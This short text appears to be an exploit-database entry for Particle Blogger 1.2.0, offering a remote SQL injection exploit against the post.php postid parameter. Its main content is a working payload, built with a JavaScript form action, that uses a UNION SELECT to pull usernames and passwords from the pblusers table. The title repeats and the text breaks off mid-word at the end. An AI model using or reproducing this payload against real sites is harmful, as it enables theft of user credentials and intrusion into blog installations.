Particle Blogger 1.2.0 - 'post.php?postid' SQL Injection

Particle Blogger All Version Post.PHP PostID Remote SQL Injection Exploit function ps unique.action=""+document.unique.site.value+"/post.php?postid=-1//UNION//SELECT//null,username,password,null,null,null,null//FROM//pblusers/"; unique.submit; Particle Blogger All Version Post.PHP PostID Remote S...